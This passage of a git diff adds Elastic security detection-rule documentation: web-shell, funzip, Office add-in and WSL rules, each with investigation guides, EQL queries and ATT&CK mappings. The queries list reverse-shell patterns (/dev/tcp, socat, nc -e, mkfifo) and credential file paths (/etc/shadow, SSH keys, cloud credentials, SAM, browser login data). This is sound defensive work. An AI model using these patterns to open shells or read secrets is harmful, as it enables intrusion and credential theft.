*", "*/dev/tcp*", "*/dev/udp/*", "*socat *", "*openssl*s_client *", "*stty*raw*-echo*", + "*mkfifo /tmp/*", + + /* File Access */ + "*>*/etc/cron*", "*crontab*", "*/etc/ssh*", "*/home/*/.ssh/*", "*/root/.ssh*", "*~/.ssh/*", "*/etc/shadow*", + "*/etc/passwd*", "*/etc/master.passwd*", + + /* Enumeration & Discovery */ + "*/etc/hosts*", "*/etc/resolv.conf*", "*/etc/hostname*", "*/etc/issue*", "*/etc/os-release*", "*lsb_release*", + "*/proc/*/environ*", "*sudo -l*", "*/proc/*/cgroup*", "*dockerenv*", "*/proc/*/mountinfo*", "*printenv*", + "*cat*.env *", "*getcap*", "*capsh*", "*find / *", "*netstat *", + + /* AWS Credentials */ + "*aws_access_key_id*", "*aws_secret_access_key*", "*aws_session_token*", "*accesskeyid*", "*secretaccesskey*", + "*.aws/credentials*", "*/.aws/config*", + + /* Azure Credentials */ + "*AZURE_CLIENT_ID*", "*AZURE_TENANT_ID*", "*AZURE_CLIENT_SECRET*", "*AZURE_FEDERATED_TOKEN_FILE*", + "*IDENTITY_ENDPOINT*", "*IDENTITY_HEADER*", "*MSI_ENDPOINT*", "*MSI_SECRET*", "*/.azure/*", + "*/run/secrets/azure/*", + + /* GCP Credentials */ + "*/.config/gcloud/*", "*application_default_credentials.json*", "*type: service_account*", + "*client_email*", "*private_key_id*", "*/run/secrets/google/*", "*GOOGLE_APPLICATION_CREDENTIALS*", + + /* Misc. Cloud */ + "*/.docker/config.json*", "*/.npmrc*", "*/secrets/kubernetes.io/serviceaccount/*", + + /* Helpers */ + "*timeout *sh -c *", "*env *sh *-c*", "*exec -a*", + + /* Miscellaneous */ + "*chattr *", "*busybox *", "*#!*", "*chmod +x *", "*chmod 777*", "*chpasswd*", + "**", "*kworker*", + + /* Decompression */ + "*gzip -*d *", "*bzip2 -*d *", "*xz -*d *", "*tar -*x*", + + /* Path Traversal */ + "*../../../*etc/*", "*/.../*", "*../../../*home/*/*", "*../../../*root/*", + + /* File Upload/Download */ + "*pastebin.com*", "*transfer.sh*", "*bashupload.com*", + + /* Enumeration & Discovery */ + "* id *", "* whoami *", "* hostname *" + ) or + /* Keep this to not miss FNs due to spacing */ + process.args in ("id", "whoami", "hostname") +) and +not ( + ( + process.parent.name == "nginx" and + process.args like ("chmod 777 /etc/resty-*", "resty*") + ) or + ( + process.parent.name == "apache2" and ( + process.command_line in ( + "sh -c /usr/local/bin/php -r 'echo phpversion();'", "sh -c -- /usr/local/bin/php -r 'echo phpversion();'", + "sh -c /usr/bin/php -r 'echo phpversion();'", + "sh -c /usr/bin/lsb_release -a 2>/dev/null" + ) or + process.args like ( + """bash -c "( /home/*/apps/richdocumentscode/collabora/Collabora_Online.AppImage*""", + "chmod 777 /etc/cobra/uploads/mysql*", "stat*" + ) or + process.command_line like ( + "*/usr/bin/crontab*phpupdatecrontab.txt", "*mysqldump*/var/www/html/*/writable/uploads/backup/mysql*", + "sh -c chmod 777 -R /opt/data/www/php_upload/*/temp" + ) + ) + ) or + ( + process.parent.name like "php-fpm*" and ( + process.command_line in ( + "sh -c /usr/bin/php -r 'echo phpversion();'", "sh -c -- /usr/bin/php -r 'echo phpversion();'", + "sh -c php -r 'print_r(phpversion());'", "sh -c chattr -i -a /usr/local/virtualizor/license2.php", + "sh -c source /etc/os-release 2>/dev/null && echo $ID $ID_LIKE", + "sh -c php -r \"echo date('T');\"", + "sh -c php -r \"echo PHP_VERSION;\"" + ) or + process.command_line like ( + "*var_export*extension_loaded*", "*/tmp/tmp_resize*", "*python -m json.tool*", + "sh -c timeout 3600 ssh -o ControlMaster=auto -o ControlPath=/var/www/html/storage/app/ssh/mux/*" + ) or + process.args like ("ps*|*grep*", "ffmpeg*") + ) + ) or + ( + process.parent.name == "php-cgi" and ( + process.command_line like ( + "sh -c nohup php /home/*/public_html/lockindex.php index.php >/dev/null 2>&1 &", + "sh -c nohup php /home/*/public_html/wp-content/* >> /dev/null 2>&1 &", + "sh -c nohup php /home/*/public_html/wp-includes/* >> /dev/null 2>&1 &", + "sh -c nohup php /home/*/public_html/*/wp-content/* >> /dev/null 2>&1 &", + "*-ef|grep*" + ) or + process.args like "ps*| grep*" + ) + ) or + ( + process.command_line == "/bin/sh -c echo | openssl s_client -connect localhost:61617 2>/dev/null | openssl x509 -noout -enddate" and + process.parent.name == "gunicorn" + ) or + ( + process.parent.executable == "/usr/local/bin/gunicorn" and + process.command_line == "/bin/sh -c echo 'Q' | openssl s_client -connect localhost:61617 2>/dev/null | openssl x509 -noout -enddate" + ) or + ( + process.parent.executable == "/opt/bitnami/apache/bin/httpd" and + process.command_line == "sh -c /opt/bitnami/php/bin/php -r 'echo phpversion();'" + ) or + ( + process.parent.executable like "/var/lib/containers/storage/overlay/*/merged/usr/local/sbin/php-fpm" and + process.command_line == "sh -c /usr/local/bin/php -r 'echo phpversion();'" + ) or + ( + process.parent.executable like "/var/lib/docker/overlay2/*/merged/usr/sbin/uwsgi" and + process.command_line == "/bin/sh -c { touch /run/uwsgi-logrotate }" + ) or + (process.parent.name like "python*" and process.parent.command_line like "*hive_server.py*") or + (process.parent.name == "sw-engine-fpm" and process.command_line like ("*/opt/psa/admin/bin/*", "*/usr/local/psa/admin/*")) or + (process.parent.name == "asterisk" and process.args like "/bin/chmod 777 */gravacoes/*.WAV") or + (process.parent.name == "nginx" and process.command_line like "sh -c gcc -print-multiarch 2>/dev/null > /tmp/lua_*") or + (process.parent.name == "varnishd" and process.args like "exec gcc*") or + (process.parent.name == "zabbix_server" and process.command_line like "*/usr/sbin/sendmail*") or + (process.parent.executable == "/opt/morpheus/embedded/java/jre/bin/java" and process.command_line like "*morpheus-local*") or + ( + process.parent.name == "ruby" and + process.command_line in ( + "sh -c echo \"^d\" | openssl s_client -connect 127.0.0.1:443 2>&1", + "sh -c cat /etc/hosts.allow 2>/dev/null" + ) + ) or + (process.parent.name == "java" and process.args like "chmod 777 *.csv") or + process.command_line == "sh -c node -v || nodejs -v" or + process.working_directory like ("/var/lib/puppet/rack/puppetmasterd", "/u01/app/*/sysman/emd") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Server Software Component +** ID: T1505 +** Reference URL: https://attack.mitre.org/techniques/T1505/ +* Sub-technique: +** Name: Web Shell +** ID: T1505.003 +** Reference URL: https://attack.mitre.org/techniques/T1505/003/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-content-extracted-or-decompressed-via-funzip.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-content-extracted-or-decompressed-via-funzip.asciidoc new file mode 100644 index 0000000000..689384fff8 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-content-extracted-or-decompressed-via-funzip.asciidoc @@ -0,0 +1,183 @@ +[[prebuilt-rule-8-19-36-suspicious-content-extracted-or-decompressed-via-funzip]] +=== Suspicious Content Extracted or Decompressed via Funzip + +Identifies when suspicious content is extracted from a file and subsequently decompressed using the funzip utility. Malware may execute the tail utility using the "-c" option to read a sequence of bytes from the end of a file. The output from tail can be piped to funzip in order to decompress malicious code before it is executed. This behavior is consistent with malware families such as Bundlore. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/software/S0482/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Content Extracted or Decompressed via Funzip* + + +Funzip is a utility used to decompress files directly from a stream, often employed in legitimate data processing tasks. However, adversaries can exploit this by combining it with the 'tail' command to extract and execute malicious payloads stealthily. The detection rule identifies this misuse by monitoring specific command sequences and excluding benign processes, thus flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the process details to confirm the presence of the 'tail' and 'funzip' command sequence, focusing on the specific arguments used, such as "-c", to understand the context of the command execution. +- Examine the parent process information to determine if the process was initiated by any known benign executables or scripts, specifically checking against the exclusion list like "/usr/bin/dracut" or "/sbin/dracut". +- Investigate the command line history and execution context of the parent process, especially if it involves "sh" or "sudo", to identify any suspicious patterns or unauthorized script executions. +- Check the file path and content being accessed by the 'tail' command to ensure it is not targeting sensitive or unexpected files, excluding known benign paths like "/var/log/messages". +- Correlate the event with other security alerts or logs from the same host to identify any related suspicious activities or patterns that might indicate a broader compromise. +- Assess the risk and impact by determining if the decompressed content was executed or if it led to any subsequent suspicious processes or network connections. + + +*False positive analysis* + + +- Legitimate system maintenance tasks may trigger this rule if they involve decompressing logs or data files using funzip. To manage this, identify and exclude specific maintenance scripts or processes that are known to use funzip in a non-threatening manner. +- Automated backup or data processing operations might use funzip in combination with tail for legitimate purposes. Review these operations and add exceptions for known benign processes or scripts that match this pattern. +- Security tools or monitoring solutions like Nessus may inadvertently trigger this rule if they use similar command sequences for scanning or data collection. Exclude these tools by adding exceptions for their specific command lines or parent processes. +- Custom scripts developed in-house for data analysis or processing might use funzip and tail together. Document these scripts and exclude them from the rule to prevent false positives, ensuring they are reviewed and approved by security teams. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread of the potential malware. +- Terminate any suspicious processes identified by the detection rule, specifically those involving the 'tail' and 'funzip' command sequence. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious payloads. +- Review and analyze system logs and command history to identify any unauthorized access or additional malicious activities that may have occurred. +- Restore any compromised files or systems from known good backups to ensure integrity and availability of data. +- Implement application whitelisting to prevent unauthorized execution of utilities like 'funzip' and 'tail' by non-administrative users. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the need for broader organizational response measures. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.action in ("exec", "exec_event", "start", "ProcessRollup2") and +process.args == "tail" and process.args == "-c" and process.args == "funzip" and +not ( + process.args : "/var/log/messages" or + ?process.parent.executable : ("/usr/bin/dracut", "/sbin/dracut", "/usr/bin/xargs") or + (process.parent.name in ("sh", "sudo") and ?process.parent.command_line : "*nessus_su*") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Compression +** ID: T1027.015 +** Reference URL: https://attack.mitre.org/techniques/T1027/015/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-execution-via-microsoft-office-add-ins.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-execution-via-microsoft-office-add-ins.asciidoc new file mode 100644 index 0000000000..8a83863105 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-execution-via-microsoft-office-add-ins.asciidoc @@ -0,0 +1,218 @@ +[[prebuilt-rule-8-19-36-suspicious-execution-via-microsoft-office-add-ins]] +=== Suspicious Execution via Microsoft Office Add-Ins + +Identifies execution of common Microsoft Office applications to launch an Office Add-In from a suspicious path or with an unusual parent process. This may indicate an attempt to get initial access via a malicious phishing MS Office Add-In. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/Octoberfest7/XLL_Phishing +* https://labs.reversec.com/posts/2017/04/add-in-opportunities-for-office-persistence + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Persistence +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Execution via Microsoft Office Add-Ins* + + +Microsoft Office Add-Ins enhance productivity by integrating additional features into Office applications. However, adversaries can exploit this by embedding malicious code within add-ins, often delivered through phishing. The detection rule identifies unusual execution patterns, such as Office apps launching add-ins from suspicious paths or with atypical parent processes, signaling potential threats. It filters out known benign activities to minimize false positives, focusing on genuine anomalies indicative of malicious intent. + + +*Possible investigation steps* + + +- Review the process name and arguments to confirm if the execution involves a Microsoft Office application launching an add-in from a suspicious path, as indicated by the process.name and process.args fields. +- Check the parent process name to determine if the Office application was launched by an unusual or potentially malicious parent process, such as cmd.exe or powershell.exe, using the process.parent.name field. +- Investigate the file path from which the add-in was executed to assess if it matches any of the suspicious paths listed in the query, such as the Temp or Downloads directories, using the process.args field. +- Examine the host's recent activity logs to identify any related events or patterns that might indicate a broader attack or compromise, focusing on the host.os.type and event.type fields. +- Correlate the alert with any recent phishing attempts or suspicious emails received by the user to determine if the execution is part of a phishing campaign, leveraging the MITRE ATT&CK tactic and technique information provided. +- Verify if the execution is a false positive by checking against the known benign activities excluded in the query, such as specific VSTOInstaller.exe paths or arguments, to rule out legitimate software installations or updates. + + +*False positive analysis* + + +- Logitech software installations can trigger false positives when VSTO files are executed by Logitech's PlugInInstallerUtility. To mitigate this, exclude processes with paths related to Logitech installations from the detection rule. +- The VSTOInstaller.exe process may be flagged when uninstalling applications. Exclude processes with the /Uninstall argument to prevent these false positives. +- Rundll32.exe executing with specific arguments related to MSI temporary files can be benign. Exclude these specific rundll32.exe executions to avoid false alerts. +- Sidekick.vsto installations from the specified URL can be legitimate. Exclude this specific VSTOInstaller.exe process with the Sidekick.vsto argument to reduce false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any ongoing malicious activity. +- Terminate any suspicious processes identified by the detection rule, such as those involving unusual parent processes or originating from suspicious paths. +- Conduct a thorough scan of the affected system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any malicious add-ins or related malware. +- Review and clean up any unauthorized or suspicious Office add-ins from the affected applications to ensure no malicious code remains. +- Restore the system from a known good backup if the integrity of the system is compromised and cannot be assured through cleaning alone. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for similar suspicious activities to enhance detection and response capabilities for future incidents. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where + + host.os.type == "windows" and event.type == "start" and + + process.name : ("WINWORD.EXE", "EXCEL.EXE", "POWERPNT.EXE", "MSACCESS.EXE", "VSTOInstaller.exe") and + + process.args regex~ """.+\.(wll|xll|ppa|ppam|xla|xlam|vsto)""" and + + /* Office Add-In from suspicious paths */ + (process.args : + ("?:\\Users\\*\\Temp\\7z*", + "?:\\Users\\*\\Temp\\Rar$*", + "?:\\Users\\*\\Temp\\Temp?_*", + "?:\\Users\\*\\Temp\\BNZ.*", + "?:\\Users\\*\\Downloads\\*", + "?:\\Users\\*\\AppData\\Roaming\\*", + "?:\\Users\\Public\\*", + "?:\\ProgramData\\*", + "?:\\Windows\\Temp\\*", + "\\Device\\*", + "http*") or + + process.parent.name : ("explorer.exe", "OpenWith.exe") or + + /* Office Add-In from suspicious parent */ + process.parent.name : ("cmd.exe", "powershell.exe")) and + + /* False Positives */ + not (process.args : "*.vsto" and + process.parent.executable : + ("?:\\Program Files\\Logitech\\LogiOptions\\PlugInInstallerUtility*.exe", + "?:\\ProgramData\\Logishrd\\LogiOptions\\Plugins\\VSTO\\*\\VSTOInstaller.exe", + "?:\\Program Files\\Logitech\\LogiOptions\\PlugInInstallerUtility.exe", + "?:\\Program Files\\LogiOptionsPlus\\PlugInInstallerUtility*.exe", + "?:\\ProgramData\\Logishrd\\LogiOptionsPlus\\Plugins\\VSTO\\*\\VSTOInstaller.exe", + "?:\\Program Files\\Common Files\\microsoft shared\\VSTO\\*\\VSTOInstaller.exe")) and + not (process.args : "/Uninstall" and process.name : "VSTOInstaller.exe") and + not (process.parent.name : "rundll32.exe" and + process.parent.args : "?:\\WINDOWS\\Installer\\MSI*.tmp,zzzzInvokeManagedCustomActionOutOfProc") and + not (process.name : "VSTOInstaller.exe" and process.args : "https://dl.getsidekick.com/outlook/vsto/Sidekick.vsto") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Attachment +** ID: T1566.001 +** Reference URL: https://attack.mitre.org/techniques/T1566/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Add-ins +** ID: T1137.006 +** Reference URL: https://attack.mitre.org/techniques/T1137/006/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Shared Modules +** ID: T1129 +** Reference URL: https://attack.mitre.org/techniques/T1129/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-execution-via-windows-subsystem-for-linux.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-execution-via-windows-subsystem-for-linux.asciidoc new file mode 100644 index 0000000000..3dd74b602f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-suspicious-execution-via-windows-subsystem-for-linux.asciidoc @@ -0,0 +1,237 @@ +[[prebuilt-rule-8-19-36-suspicious-execution-via-windows-subsystem-for-linux]] +=== Suspicious Execution via Windows Subsystem for Linux + +Detects Linux Bash commands from the Windows Subsystem for Linux. Adversaries may enable and use WSL for Linux to avoid detection. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://lolbas-project.github.io/lolbas/OtherMSBinaries/Wsl/ +* https://blog.qualys.com/vulnerabilities-threat-research/2022/03/22/implications-of-windows-subsystem-for-linux-for-adversaries-defenders-part-1 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Suspicious Execution via Windows Subsystem for Linux* + + +Windows Subsystem for Linux (WSL) allows users to run Linux binaries natively on Windows, providing a seamless integration of Linux tools. Adversaries may exploit WSL to execute Linux commands stealthily, bypassing traditional Windows security measures. The detection rule identifies unusual WSL activity by monitoring specific executable paths, command-line arguments, and parent-child process relationships, flagging deviations from typical usage patterns to uncover potential threats. + + +*Possible investigation steps* + + +- Review the process command line and executable path to determine if the execution of bash.exe or any other Linux binaries is expected or authorized for the user or system in question. +- Investigate the parent-child process relationship, especially focusing on whether wsl.exe is the parent process and if it has spawned any unexpected child processes that are not wslhost.exe. +- Examine the command-line arguments used with wsl.exe for any suspicious or unauthorized commands, such as accessing sensitive files like /etc/shadow or /etc/passwd, or using network tools like curl. +- Check the user's activity history and system logs to identify any patterns of behavior that might indicate misuse or compromise, particularly focusing on any deviations from typical usage patterns. +- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Microsoft Defender XDR, or Sysmon to gather additional context and determine if this is part of a broader attack or isolated incident. + + +*False positive analysis* + + +- Frequent use of WSL for legitimate development tasks may trigger alerts. Users can create exceptions for specific user accounts or directories commonly used for development to reduce noise. +- Automated scripts or tools that utilize WSL for system maintenance or monitoring might be flagged. Identify these scripts and whitelist their specific command-line patterns or parent processes. +- Docker-related processes may cause false positives due to their interaction with WSL. Exclude Docker executable paths from the detection rule to prevent unnecessary alerts. +- Visual Studio Code extensions that interact with WSL can generate alerts. Exclude known non-threatening extensions by specifying their command-line arguments in the exception list. +- Regular system updates or administrative tasks that involve WSL might be misidentified. Document these activities and adjust the detection rule to recognize them as benign. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any suspicious processes identified by the detection rule, such as those involving bash.exe or wsl.exe with unusual command-line arguments. +- Conduct a thorough review of the affected system's WSL configuration and installed Linux distributions to identify any unauthorized changes or installations. +- Remove any unauthorized or suspicious Linux binaries or scripts found within the WSL environment. +- Reset credentials for any accounts that may have been compromised, especially if sensitive files like /etc/shadow or /etc/passwd were accessed. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and logging for WSL activities across the network to detect similar threats in the future, ensuring that alerts are promptly reviewed and acted upon. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type : "start" and + ( + ( + (process.executable : "?:\\Windows\\System32\\bash.exe" or ?process.pe.original_file_name == "Bash.exe") and + not process.command_line : ("bash", "bash.exe") + ) or + process.executable : "?:\\Users\\*\\AppData\\Local\\Packages\\*\\rootfs\\usr\\bin\\bash" or + ( + process.parent.name : "wsl.exe" and process.parent.command_line : "bash*" and not process.name : "wslhost.exe" + ) or + ( + process.name : "wsl.exe" and + ( + process.args : "--system" or + ( + process.args : "--manage" and process.args : "--set-default-user" and process.args : "root" + ) or + ( + (process.args : ("curl", "wget") and process.args : ("http://*", "https://*")) or + process.args : ("*curl*http://*", "*curl*https://*", "*wget*http://*", "*wget*https://*") + ) or + ( + ( + process.args like~ ("*/dev/tcp/*", "*/dev/udp/*", "*zsh/net/tcp*") and + process.args like ("*&>*", "*<>*", "*>&*", "*<&*") + ) or + ( + process.args : ("nc", "netcat", "nc.traditional", "ncat", "*/nc", "*/netcat", "*/nc.traditional", "*/ncat") and + process.args : ("sh", "/bin/sh", "bash", "/bin/bash") and + process.args : ("-e", "--exec", "-c", "--sh-exec") + ) or + ( + process.args like~ "*socat*" and + process.args like~ ("*exec:*", "*system:*", "*shell:*") and + process.args like~ ("*tcp*", "*udp*", "*openssl*") + ) + ) or + ( + process.args : ("-e", "--exec") and + process.args : ( + "/mnt/c/*.exe", "/mnt/c/*.ps1", "/mnt/c/*.bat", "/mnt/c/*.cmd", "/mnt/c/*.vbs", "/mnt/c/*.js", + "/mnt/c/*.hta" + ) and + not process.args : "*wslpath*" + ) or + process.args : ( + "*/etc/passwd*", "*/etc/shadow*", "*/etc/sudoers*", "*/etc/sudoers.d/*", "*/root/.ssh/*", "*/home/*/.ssh/*", + "*/root/.aws/credentials*", "*/home/*/.aws/credentials*", "*/root/.kube/config*", "*/home/*/.kube/config*", + "*/mnt/c/Windows/System32/config/SAM*", + "*/mnt/c/Windows/System32/config/SECURITY*", + "*/mnt/c/Windows/System32/config/SYSTEM", "*/mnt/c/Windows/System32/config/SYSTEM.*", + "*/mnt/c/Windows/NTDS/ntds.dit*", + "*/mnt/c/Users/*/AppData/Roaming/Microsoft/Credentials/*", + "*/mnt/c/Users/*/AppData/Local/Microsoft/Credentials/*", + "*/mnt/c/Users/*/AppData/Roaming/Microsoft/Protect/*", + "*/mnt/c/Users/*/.ssh/*", + "*/mnt/c/Users/*/.aws/credentials", + "*/mnt/c/Users/*/.azure/*", + "*/mnt/c/Users/*/.config/gcloud/*", + "*/mnt/c/Users/*/AppData/Local/Google/Chrome/User Data/*/Login Data*", + "*/mnt/c/Users/*/AppData/Local/Microsoft/Edge/User Data/*/Login Data*" + ) + ) + ) + ) and + not process.parent.executable : ("?:\\Program Files\\Docker\\*.exe", "?:\\Program Files (x86)\\Docker\\*.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** 